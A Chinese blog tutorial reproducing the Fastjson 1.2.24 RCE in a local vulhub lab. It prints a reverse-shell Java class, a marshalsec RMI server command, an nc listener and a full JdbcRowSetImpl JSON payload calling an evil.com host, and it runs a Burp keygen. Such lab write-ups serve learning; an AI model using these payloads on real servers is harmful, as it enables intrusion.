title: Fastjson 1.2.24漏洞搭建及复现 date: 2023-12-21 21:07:01 tags:cloud_hat
Fastjson 1.2.24漏洞搭建及复现
环境准备:(这里用的是centos7)
kali linux:(可以准备一个靶机centos,一个攻击机kali)本文章只基于一个kali-2022.4版本演示
apache-maven
marshalsec-master
jdk1.8
python3(kali自带)
影响版本:
fastjson <= 1.2.24
一、配置kali中java环境
注意:
1.担心配置错误的,可以提前拍摄快照,以便还原!!!
2.网上有删除openjdk再下载oracle jdk的,个人不太建议,会报错,影响后续漏洞复现
1.下载oracle的jdk1.8.0_202版本
☁下载地址:
# 华为云镜像下载
https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
# 百度网盘链接
链接:百度网盘 请输入提取码 提取码:dmw4
下载完成后,直接将其复制到kali中
2.新建jdk1.8目录存放安装包
☁在kali中 /usr/local 下新建文件夹 java,存放此安装包,将桌面的jdk-8u202-linux-x64.tar.gz安装包移动到该目录下
1)mkdir -p /usr/local/java # 创建目录
2)cd Desktop # 进入桌面
3)mv jdk-8u202-linux-x64.tar.gz /usr/local/java # 移动安装包至目录下
3.配置jdk环境变量
☁进入目录下,解压此安装包,并配置环境变量
1)cd /usr/local/java
2)tar xzvf jdk-8u202-linux-x64.tar.gz
3)vim /etc/profile
# 编辑该文件,将下方四行代码输入,jdk存放路径和我不同的自行更改
JAVA_HOME=/usr/local/java/jdk1.8.0_202
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
4.替换原open jdk为oracle jdk
☁更换原有的openjdk为oracle jdk1.8.0_202
1)update-alternatives --install /usr/bin/java java /usr/local/java/jdk1.8.0_202/bin/java 1 2)update-alternatives --install /usr/bin/javac javac /usr/local/java/jdk1.8.0_202/bin/javac 1 3)update-alternatives --set java /usr/local/java/jdk1.8.0_202/bin/java 4)update-alternatives --set javac /usr/local/java/jdk1.8.0_202/bin/javac
# 存放路径不同的,记得更改~
5)java -version # 看是否成功替换为1.8版本
二、安装并使用docker
1.安装docker
此处就不做过多讲解了,直接上大佬的安装步骤:https://www.cnblogs.com/lijingrong/p/13396884.html
☁跟着上方教程安装完成,查看docker版本号
1)docker -v
2)docker-compose -v
2.安装vulhub
从github上克隆:GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose
安装完成查看vulhub目录(有大量的环境漏洞环境)
3.拉取环境
☁进入对应的漏洞环境目录
cd Desktop/vulhub/fastjson/1.2.24-rce
☁启动容器,拉取环境
docker-compose up -d # 首次拉取会自动下载对应配置,出现done字样即为完成
3.1相关报错及处理
若此处出现下图类似报错,则执行下方代码块中命令,然后重新拉取环境即可~(没报错的直接跳过)
1)sudo mkdir -p /etc/docker 2)sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": ["https://yxzrazem.mirror.aliyuncs.com"] } EOF 3)sudo systemctl daemon-reload 4)sudo systemctl restart docker
4.验证环境
☁环境运行完成,有两种验证方式:
1)http://your-ip:8090 # 出现json格式的输出,即为成功(下图一)
2)docker ps # 下图二
三、安装maven
1.下载安装包
☁下载地址:
2.新建maven目录存放安装包
☁移动下载的安装包至 /usr/local/maven 目录下, 并解压
3.配置maven环境变量
☁配置maven的环境变量,并更新(我这个版本是3.96)
1)vim /etc/profile # 将下面三行代码复制到文件内
MAVEN_HOME=/usr/local/maven/apache-maven-3.9.6 PATH=$MAVEN_HOME/bin:$PATH export MAVEN_HOME PATH
2)source /etc/profile # 修改后使环境生效
3)update-alternatives --install /usr/bin/mvn mvn /usr/local/maven/apache-maven-3.9.3/bin/mvn 1
# 更新配置(路径和我不同的小伙伴记得更改"/usr.../maven...")
4)mvn -version # 查看mvn版本,是否安装成功
3.1相关报错及处理
此处报错的小伙伴,可以尝试 "rm -rf maven" 删除maven整个目录,然后重新安装(或验证是否执行上方第3步更新命令)
四、安装RMI服务器
1.下载marshalsec并启动RMI器
☁编译marshalsec项目,启动RMI服务器
1)下载marshalsec
# github下载
# 百度网盘直接下载
链接:百度网盘 请输入提取码 提取码:aydq 2)cd /usr/local/marshalsec/marshalsec-master # 进入目录下
3)unzip marshalsec-master.zip #解压压缩包
4)mvn clean package -DskipTests # 用maven编译marshalsec成jar包
五、漏洞复现
1.编写文件
☁使用kali攻击机,编写touchfile.java文件,将如下代码写入,并编译为class文件
1)touch touchfile.java
2)vim touchfile.java # 不要直接执行第三步,看好代码输入完成再往下走
3)javac touchfile.java
import java.lang.Runtime; import java.lang.Process; public class touchfile{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/攻击者ip/攻击者nc监听端口 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } } }
2.开启python监听
☁kali攻击机开启python服务,监听端口 # 注意python版本,执行对应命令
python3 -m http.server 8089 # python3使用的命令
python -m SimpleHTTPServer # python2使用的命令
3.加载远程类
☁kali攻击机使用marshalsec项目,启动RMI服务器,监听端口9999,同时指定加载远程类touchfile.class
# 进入marshalsec-master目录下的target目录下执行,marshalsec是安装RMI的那个目录,target是编译后的目录
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-ip:1111/#touchfile" 9999
4.开启反弹shell的监听端口
☁攻击机开启监听6666端口
nc -lvnp 6666
5. bp安装
☁使用kali自带的bp或自己安装想要使用的bp版本
1)将文件夹复制至kali靶机中
2)java -jar burp-loader-keygen.jar # 第一次安装会弹出下图1窗口
3)跟着下方图片步骤一步步操作
6.火狐开启代理抓包
☁进入kali自带的火狐游览器,更改设置,开启代理,端口为bp的8080
记着把bp的拦截开启,此时可以抓到包
POST / HTTP/1.1 Host:your-ip:8090 Accept-Encoding:gzip,deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 160 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://evil.com:9999/touchfile", "autoCommit":true } }
7.复现结果验证
使用marshalse工具快捷的开启RMI服务,借助RMI服务将RMI reference result 成功重定向到web服务器
靶机成功访问攻击机开启的web服务,可以下载touchfile.class恶意文件
攻击机监听的6666端口成功收到反弹的shell
至此,复现结束~
总结:复现过程中,会出现各种各样报错,小伙伴多找网上文章解决,本文仅作参考。
PS:文章对小伙伴有帮助的话,点赞支持下吧~欢迎各位师傅批评指正